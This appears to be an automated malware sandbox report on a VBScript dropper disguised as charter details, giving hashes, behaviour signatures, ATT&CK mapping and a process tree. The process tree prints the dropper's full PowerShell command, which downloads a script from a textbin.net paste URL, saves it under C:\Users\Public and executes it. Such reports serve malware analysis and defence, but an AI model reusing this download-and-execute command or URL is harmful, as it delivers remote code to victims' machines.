fcd18b069a963b01f447b35ac7f12421ac36f8c577a1f19880ea0258e0505747

General

Target

116 Pax Charter Details.vbs
Size

57KB
MD5

52d94e55aac61768976f39040c288eef
SHA1

e942fa64351f106b614b28e86d3a42d50e5a0443
SHA256

fcd18b069a963b01f447b35ac7f12421ac36f8c577a1f19880ea0258e0505747
SHA512

fe278c9483992b979e356ec4380182d7519d47144cf3ed9c9caaf0346c4bcb788272562f57264ac7a3a35bf67e9e36ac19ec5d5a07d9564a99360de77b72b717

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://textbin.net/raw/x6lfwhnyrz

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 1224 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1224 powershell.exe
1732 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1224 powershell.exe
Token: SeDebugPrivilege 1732 powershell.exe

flow	pid	process
5	1224	powershell.exe

pid	process
1224	powershell.exe
1732	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1224	powershell.exe
Token: SeDebugPrivilege	1732	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1796 wrote to memory of 1224	1796	WScript.exe	powershell.exe
PID 1796 wrote to memory of 1224	1796	WScript.exe	powershell.exe
PID 1796 wrote to memory of 1224	1796	WScript.exe	powershell.exe
PID 1224 wrote to memory of 1732	1224	powershell.exe	powershell.exe
PID 1224 wrote to memory of 1732	1224	powershell.exe	powershell.exe
PID 1224 wrote to memory of 1732	1224	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\116 Pax Charter Details.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command [System.Net.WebClient] $Client = New-Object System.Net.WebClient; [Byte[]] $DownloadedData = $Client.DownloadData('https://textbin.net/raw/x6lfwhnyrz'); [String] $ByteToString = [System.Text.UTF8Encoding]::UTF8.GetString($DownloadedData); [System.IO.File]::WriteAllText('C:\Users\Public\x6lfwhnyrz.PS1', $ByteToString, [System.Text.Encoding]::UTF8); Invoke-Expression 'PowerShell -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS1'
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS1
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1732

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
29588cba22883e1af770cdec0089bedb

SHA1
92672c93a54980e5f3ffa61f6deefea7af59181c

SHA256
c1de58d6b4b90f3ad0d4972ece2b71e1acaf9ba4de48176bba70b4df3742646b

SHA512
a0cafbc919a348217dc6d0c55e766924fee0b87ca30b4ced445b4cd07ac3c2c51b558ec90221892846902252f4afba56cc9ab5b4cf0b6a11653ce44a33c11393

Download Submit
C:\Users\Public\x6lfwhnyrz.PS1
Filesize
3B

MD5
ecaa88f7fa0bf610a5a26cf545dcd3aa

SHA1
57218c316b6921e2cd61027a2387edc31a2d9471

SHA256
f1945cd6c19e56b3c1c78943ef5ec18116907a4ca1efc40a57d48ab1db7adfc5

SHA512
37c783b80b1d458b89e712c2dfe2777050eff0aefc9f6d8beedee77807d9aeb2e27d14815cf4f0229b1d36c186bb5f2b5ef55e632b108cc41e9fb964c39b42a5

Download Submit
memory/1224-58-0x000000001B710000-0x000000001BA0F000-memory.dmp

Filesize
3.0MB

Download
memory/1224-60-0x0000000002562000-0x0000000002564000-memory.dmp

Filesize
8KB

Download
memory/1224-59-0x0000000002560000-0x0000000002562000-memory.dmp

Filesize
8KB

Download
memory/1224-62-0x000000000256B000-0x000000000258A000-memory.dmp

Filesize
124KB

Download
memory/1224-61-0x0000000002564000-0x0000000002567000-memory.dmp

Filesize
12KB

Download
memory/1224-57-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmp

Filesize
11.4MB

Download
memory/1224-55-0x0000000000000000-mapping.dmp

Download
memory/1732-63-0x0000000000000000-mapping.dmp

Download
memory/1732-66-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmp

Filesize
11.4MB

Download
memory/1732-68-0x0000000002854000-0x0000000002857000-memory.dmp

Filesize
12KB

Download
memory/1732-69-0x000000000285B000-0x000000000287A000-memory.dmp

Filesize
124KB

Download
memory/1796-54-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing